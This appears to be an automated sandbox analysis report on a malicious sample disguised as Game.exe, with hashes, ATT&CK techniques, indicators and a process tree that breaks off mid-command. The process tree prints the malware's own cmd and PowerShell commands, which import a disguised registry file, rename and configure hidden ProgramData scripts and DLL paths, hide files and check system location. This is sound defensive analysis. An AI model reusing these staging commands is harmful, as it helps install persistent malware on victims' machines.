54d788b1af6ba0343256e528aadfaae30e2ad214e7a6915dc08f0dddc23b2f2c

Analysis

user interaction
yes
max time kernel
1799s
max time network
1462s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
26/02/2026, 04:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Game.exe
Size 4.2MB
Sample260226-eps36ah16f
SHA256 54d788b1af6ba0343256e528aadfaae30e2ad214e7a6915dc08f0dddc23b2f2c
MD5 ca4069130468d93ac7c719bf89f792c8
SHA1 7f6ae8f83b6d4cf9d1494221c14437942b9e9152
SHA512 920311a7fb624f09bca4fd42d48f1a59dadb0415f02b29c14197da0b4253809dbae3263e6f70ce8762c2e488b1aa1f9104648935477490d89ed27f72c4c611d0
SSDEEP 98304:qGRoaRfCxu9X/K4JIPXZMUiaBEp0eDYmqFxYrP3bwKaDZnq5hTah:qhaR9PKB/di8w0ipmYrfKDsy
TLSH
T1B4163336F13A7838D0E31ABE6D5219203CA7BDA68644DB0F2F1530A657F1397B5097AC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3460	powershell.exe
1564	powershell.exe
5032	powershell.exe
3092	powershell.exe
5824	powershell.exe
5660	powershell.exe
2916	powershell.exe

Deletes itself 1 IoCs

pid	Process
5608	Game_patch-run.exe

Executes dropped EXE 2 IoCs

pid	Process
5608	Game_patch-run.exe
5216	Game.exe

Loads dropped DLL 1 IoCs

pid	Process
5608	Game_patch-run.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_974686278\_locales\am\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\edge_driver.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\hub-signature.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-hub\da\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-mobile-hub\ja\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\wallet\wallet-checkout\checkoutdata.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\Wallet-Checkout\load-ec-i18n.bundle.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\wallet_checkout_autofill_driver.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_974686278\_locales\mr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_974686278\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-notification\it\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-notification-shared\fr-CA\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-tokenized-card\pt-PT\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\wallet\wallet-checkout-eligible-sites.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\wallet\wallet-stable.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_974686278\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_974686278\_locales\en_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\bnpl\bnpl.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_974686278\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_2052810225\edge_tracking_page_validator.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-shared-components\nl\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_974686278\_locales\lv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_974686278\_locales\te\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-notification\fr-CA\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-notification-shared\de\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_974686278\_locales\da\messages.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-ec\sv\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-ec\th\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-hub\ko\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-notification-shared\en-GB\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-shared-components\en-GB\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\wallet\wallet-checkout-eligible-sites-pre-stable.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\load-hub-i18n.bundle.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\wallet-crypto.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-shared-components\zh-Hant\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_974686278\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_974686278\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\bnpl_driver.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-notification-shared\ru\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-tokenized-card\nl\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_2011805150\_platform_specific\win_x64\widevinecdm.dll.sig	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_974686278\_locales\sv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_974686278\_locales\uz\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-mobile-hub\it\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-shared-components\sv\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-tokenized-card\ja\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\Wallet-BuyNow\wallet-buynow.bundle.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-shared-components\hu\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_2052810225\shopping_iframe_driver.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\runtime.bundle.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\wallet-webui-560.da6c8914bf5007e1044c.chunk.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_2052810225\edge_confirmation_page_validator.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-ec\cs\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-hub\nl\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-tokenized-card\it\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\wallet\wallet-eligibile-aad-users.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_974686278\_locales\fil\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_974686278\_locales\kn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-hub\fr\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-hub\pl\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\json\i18n-shared-components\fr\strings.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_1591836267\Mini-Wallet\mini-wallet.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2832_974686278\_locales\el\messages.json	msedge.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4432	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4372	5216	WerFault.exe	80

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Game_patch-run.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Game.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Game.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5612	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134165524833354891"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1456842261-3464001825-2855069093-1000\{E55B8C78-8AFD-41FB-B555-C4C8B63B667D}	msedge.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
3460	powershell.exe
3460	powershell.exe
1564	powershell.exe
1564	powershell.exe
5824	powershell.exe
5824	powershell.exe
4432	powershell.exe
4432	powershell.exe
5032	powershell.exe
5032	powershell.exe
3092	powershell.exe
3092	powershell.exe
5660	powershell.exe
5660	powershell.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
960	msedge.exe
960	msedge.exe
5880	LocalBridge.exe
5880	LocalBridge.exe
5880	LocalBridge.exe
5880	LocalBridge.exe
5880	LocalBridge.exe
5880	LocalBridge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	5824	powershell.exe
Token: SeDebugPrivilege	4432	powershell.exe
Token: SeDebugPrivilege	5032	powershell.exe
Token: SeDebugPrivilege	3092	powershell.exe
Token: SeDebugPrivilege	5660	powershell.exe
Token: SeIncreaseQuotaPrivilege	5660	powershell.exe
Token: SeSecurityPrivilege	5660	powershell.exe
Token: SeTakeOwnershipPrivilege	5660	powershell.exe
Token: SeLoadDriverPrivilege	5660	powershell.exe
Token: SeSystemProfilePrivilege	5660	powershell.exe
Token: SeSystemtimePrivilege	5660	powershell.exe
Token: SeProfSingleProcessPrivilege	5660	powershell.exe
Token: SeIncBasePriorityPrivilege	5660	powershell.exe
Token: SeCreatePagefilePrivilege	5660	powershell.exe
Token: SeBackupPrivilege	5660	powershell.exe
Token: SeRestorePrivilege	5660	powershell.exe
Token: SeShutdownPrivilege	5660	powershell.exe
Token: SeDebugPrivilege	5660	powershell.exe
Token: SeSystemEnvironmentPrivilege	5660	powershell.exe
Token: SeRemoteShutdownPrivilege	5660	powershell.exe
Token: SeUndockPrivilege	5660	powershell.exe
Token: SeManageVolumePrivilege	5660	powershell.exe
Token: 33	5660	powershell.exe
Token: 34	5660	powershell.exe
Token: 35	5660	powershell.exe
Token: 36	5660	powershell.exe
Token: SeIncreaseQuotaPrivilege	5660	powershell.exe
Token: SeSecurityPrivilege	5660	powershell.exe
Token: SeTakeOwnershipPrivilege	5660	powershell.exe
Token: SeLoadDriverPrivilege	5660	powershell.exe
Token: SeSystemProfilePrivilege	5660	powershell.exe
Token: SeSystemtimePrivilege	5660	powershell.exe
Token: SeProfSingleProcessPrivilege	5660	powershell.exe
Token: SeIncBasePriorityPrivilege	5660	powershell.exe
Token: SeCreatePagefilePrivilege	5660	powershell.exe
Token: SeBackupPrivilege	5660	powershell.exe
Token: SeRestorePrivilege	5660	powershell.exe
Token: SeShutdownPrivilege	5660	powershell.exe
Token: SeDebugPrivilege	5660	powershell.exe
Token: SeSystemEnvironmentPrivilege	5660	powershell.exe
Token: SeRemoteShutdownPrivilege	5660	powershell.exe
Token: SeUndockPrivilege	5660	powershell.exe
Token: SeManageVolumePrivilege	5660	powershell.exe
Token: 33	5660	powershell.exe
Token: 34	5660	powershell.exe
Token: 35	5660	powershell.exe
Token: 36	5660	powershell.exe
Token: SeIncreaseQuotaPrivilege	5660	powershell.exe
Token: SeSecurityPrivilege	5660	powershell.exe
Token: SeTakeOwnershipPrivilege	5660	powershell.exe
Token: SeLoadDriverPrivilege	5660	powershell.exe
Token: SeSystemProfilePrivilege	5660	powershell.exe
Token: SeSystemtimePrivilege	5660	powershell.exe
Token: SeProfSingleProcessPrivilege	5660	powershell.exe
Token: SeIncBasePriorityPrivilege	5660	powershell.exe
Token: SeCreatePagefilePrivilege	5660	powershell.exe
Token: SeBackupPrivilege	5660	powershell.exe
Token: SeRestorePrivilege	5660	powershell.exe
Token: SeShutdownPrivilege	5660	powershell.exe
Token: SeDebugPrivilege	5660	powershell.exe
Token: SeSystemEnvironmentPrivilege	5660	powershell.exe
Token: SeRemoteShutdownPrivilege	5660	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2832	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2040 wrote to memory of 5608	2040	Game.exe	79
PID 5608 wrote to memory of 5216	5608	Game_patch-run.exe	80
PID 5608 wrote to memory of 5364	5608	Game_patch-run.exe	84
PID 5364 wrote to memory of 2796	5364	cmd.exe	86
PID 2796 wrote to memory of 3460	2796	cmd.exe	87
PID 5364 wrote to memory of 1564	5364	cmd.exe	88
PID 5364 wrote to memory of 5644	5364	cmd.exe	89
PID 5364 wrote to memory of 5824	5364	cmd.exe	90
PID 5364 wrote to memory of 4432	5364	cmd.exe	91
PID 5364 wrote to memory of 5408	5364	cmd.exe	92
PID 5408 wrote to memory of 5032	5408	cmd.exe	93
PID 5364 wrote to memory of 3092	5364	cmd.exe	94
PID 5364 wrote to memory of 5660	5364	cmd.exe	95
PID 5364 wrote to memory of 2564	5364	cmd.exe	97
PID 5364 wrote to memory of 2916	5364	cmd.exe	98
PID 5364 wrote to memory of 2832	5364	cmd.exe	99
PID 2832 wrote to memory of 2256	2832	msedge.exe	100
PID 2832 wrote to memory of 5612	2832	msedge.exe	101
PID 2832 wrote to memory of 5436	2832	msedge.exe	102
PID 2832 wrote to memory of 5436	2832	msedge.exe	102
PID 2832 wrote to memory of 5436	2832	msedge.exe	102
PID 2832 wrote to memory of 2116	2832	msedge.exe	103
PID 2832 wrote to memory of 2116	2832	msedge.exe	103
PID 2832 wrote to memory of 4000	2832	msedge.exe	106
PID 2832 wrote to memory of 4000	2832	msedge.exe	106
PID 2832 wrote to memory of 2008	2832	msedge.exe	107
PID 2832 wrote to memory of 4000	2832	msedge.exe	106
PID 2832 wrote to memory of 2008	2832	msedge.exe	107
PID 2832 wrote to memory of 2008	2832	msedge.exe	107
PID 2832 wrote to memory of 1112	2832	msedge.exe	108
PID 2832 wrote to memory of 5092	2832	msedge.exe	109
PID 2832 wrote to memory of 1112	2832	msedge.exe	108
PID 2832 wrote to memory of 5092	2832	msedge.exe	109
PID 2832 wrote to memory of 5896	2832	msedge.exe	110
PID 2832 wrote to memory of 2712	2832	msedge.exe	112
PID 5896 wrote to memory of 3168	5896	msedge.exe	113
PID 2832 wrote to memory of 4160	2832	msedge.exe	116
PID 2832 wrote to memory of 900	2832	msedge.exe	117
PID 2832 wrote to memory of 5036	2832	msedge.exe	118
PID 2832 wrote to memory of 1632	2832	msedge.exe	119
PID 2832 wrote to memory of 1632	2832	msedge.exe	119
PID 2832 wrote to memory of 4008	2832	msedge.exe	120
PID 2832 wrote to memory of 4008	2832	msedge.exe	120
PID 2832 wrote to memory of 2924	2832	msedge.exe	121
PID 2832 wrote to memory of 2924	2832	msedge.exe	121
PID 2832 wrote to memory of 2060	2832	msedge.exe	124
PID 2832 wrote to memory of 2060	2832	msedge.exe	124
PID 2832 wrote to memory of 4828	2832	msedge.exe	125
PID 2832 wrote to memory of 4828	2832	msedge.exe	125
PID 2832 wrote to memory of 960	2832	msedge.exe	126
PID 2832 wrote to memory of 2620	2832	msedge.exe	127
PID 2832 wrote to memory of 2620	2832	msedge.exe	127
PID 2832 wrote to memory of 2636	2832	msedge.exe	128
PID 2832 wrote to memory of 2636	2832	msedge.exe	128
PID 2832 wrote to memory of 3512	2832	msedge.exe	129
PID 2832 wrote to memory of 3512	2832	msedge.exe	129
PID 2832 wrote to memory of 5948	2832	msedge.exe	130
PID 2832 wrote to memory of 5948	2832	msedge.exe	130
PID 2832 wrote to memory of 5016	2832	msedge.exe	131
PID 2832 wrote to memory of 5016	2832	msedge.exe	131
PID 2832 wrote to memory of 1592	2832	msedge.exe	132
PID 2832 wrote to memory of 1592	2832	msedge.exe	132
PID 2832 wrote to memory of 5500	2832	msedge.exe	135
PID 2832 wrote to memory of 5500	2832	msedge.exe	135

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2564	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Game.exe
"C:\Users\Admin\AppData\Local\Temp\Game.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Users\Admin\AppData\Local\Temp\Game_patch-run.exe
  "C:\Users\Admin\AppData\Local\Temp\Game_patch-run.exe" C:\Users\Admin\AppData\Local\Temp
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5608
- - C:\Users\Admin\AppData\Local\Temp\Game.exe
    "C:\Users\Admin\AppData\Local\Temp\Game.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5216
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5216 -s 856
      4⤵
      Program crash
      PID:4372
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tidy.bat" "C:\Users\Admin\AppData\Local\Temp\Game_patch-run.exe" "attrib" "HKEY_LOCAL_MACHINE\SOFTWARE\\" "ADHWWZ" "S13SPB2Z_2026-02" "Game_patch-run.exe" "Windows Registry Editor" "scheduledtask" "HKEY_CURRENT_USER\SOFTWARE\\""
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5364
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoProfile -Command "$set = 'abcdefghijklmnopqrstuvwxyz'; -join ((1..30 | ForEach-Object { $set[(Get-Random -Maximum $set.Length)] }))"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2796
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$set = 'abcdefghijklmnopqrstuvwxyz'; -join ((1..30 | ForEach-Object { $set[(Get-Random -Maximum $set.Length)] }))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3460
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(Get-Content -LiteralPath \"C:\Users\Admin\AppData\Local\Temp\temp_cleanup.ico\").Replace('{HKS}', '"HKEY_LOCAL_MACHINE\SOFTWARE\\"').Replace('{WRE}', '"Windows Registry Editor"').Replace('{HKU}', '"HKEY_CURRENT_USER\SOFTWARE\\"') | Set-Content -LiteralPath \"C:\Users\Admin\AppData\Local\Temp\temp_cleanup.ico\""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1564
  - - C:\Windows\SysWOW64\reg.exe
      reg.exe import C:\Users\Admin\AppData\Local\Temp\temp_cleanup.ico /reg:64
      4⤵
      System Location Discovery: System Language Discovery
      PID:5644
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "foreach ($item in @(\"$env:PROGRAMDATA\DiagnosticsNET\configuration.ps1\", \"$env:PROGRAMDATA\DiagnosticsNET\update.vbs\", \"$env:PROGRAMDATA\DiagnosticsNET\updater.vbs\", \"$env:PROGRAMDATA\DiagnosticsNET\cache.ps1\", \"$env:PROGRAMDATA\Features\update.ps1\", \"$env:PROGRAMDATA\UpdatesWin\update.ps1\", \"$env:PROGRAMDATA\UpdatesWin\updater.ps1\", \"$env:PROGRAMDATA\SdkWin\update.ps1\", \"$env:PROGRAMDATA\SdkWin\updater.vbs\", \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.ps1\", \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\update.vbs\")) { if (Test-Path -LiteralPath $item) { Remove-Item -LiteralPath $item -Force } }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5824
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "$ErrorActionPreference = 'SilentlyContinue'; "$paths = @{ \"$env:PROGRAMDATA\Features\x\" = 'uzjwtaazesrftaowxmxdugedrmvsiex'; \"$env:PROGRAMDATA\Features\update.tmp\" = 'update.ps1'; \"$env:PROGRAMDATA\DiagnosticsNET\configuration.tmp\" = 'configuration.ps1'; \"$env:PROGRAMDATA\DiagnosticsNET\update.tmp\" = 'update.vbs'; \"$env:PROGRAMDATA\UpdatesWin\update.tmp\" = 'update.ps1'; \"$env:PROGRAMDATA\UpdatesWin\updater.tmp\" = 'updater.ps1'; \"$env:PROGRAMDATA\SdkWin\update.tmp\" = 'update.ps1'; \"$env:PROGRAMDATA\SdkWin\updater.tmp\" = 'updater.vbs'; \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.tmp\" = 'updater.ps1'; \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\update.tmp\" = 'update.vbs'; \"$env:PROGRAMDATA\WinPackages\update.tmp\" = 'update.vbs'; \"$env:PROGRAMDATA\WinPackages\updater.tmp\" = 'updater.ps1' }; foreach ($src in $paths.Keys) { if (Test-Path -LiteralPath $src) { Rename-Item -LiteralPath $src -NewName $paths[$src] } }"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4432
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "gp 'HKCU:\Control Panel\International\Geo\' | select -exp Name"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5408
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "gp 'HKCU:\Control Panel\International\Geo\' | select -exp Name"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5032
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(Get-Content -LiteralPath \"$env:PROGRAMDATA\DiagnosticsNET\configuration.ps1\") -replace '{flPQ}', 'a62h81hab8329ja' -replace '{testD1}', 'DiagnosticsNET\win64\network_agent.dll' -replace '{testD2}', 'DiagnosticsNET\win32\network_agent.dll' | Set-Content -LiteralPath \"$env:PROGRAMDATA\DiagnosticsNET\configuration.ps1\"; (Get-Content -LiteralPath \"$env:PROGRAMDATA\WinPackages\updater.ps1\") -replace '{randomzt}', 'US' -replace '{randomui}', 'uzjwtaazesrftaowxmxdugedrmvsiex' | Set-Content -LiteralPath \"$env:PROGRAMDATA\WinPackages\updater.ps1\"; (Get-Content -LiteralPath \"$env:PROGRAMDATA\SdkWin\update.ps1\") -replace '{randomkey}', '1eJctR5LdYdNRycM' -replace '{randomtest1}', 'SdkWin\C#(.NET)\4.5\net_diagn.dll' -replace '{randomtest2}', 'SdkWin\C#(.NET)\9.0\net_diagn.dll' | Set-Content -LiteralPath \"$env:PROGRAMDATA\SdkWin\update.ps1\"; (Get-Content -LiteralPath \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.ps1\") -replace '{liveTest}', 'test567' -replace '{testL1}', 'GameSavings\Windows\win_libraries\64\dll\hopmn.dll' -replace '{testL2}', 'GameSavings\Windows\win_libraries\32\dll\hopmn.dll' | Set-Content 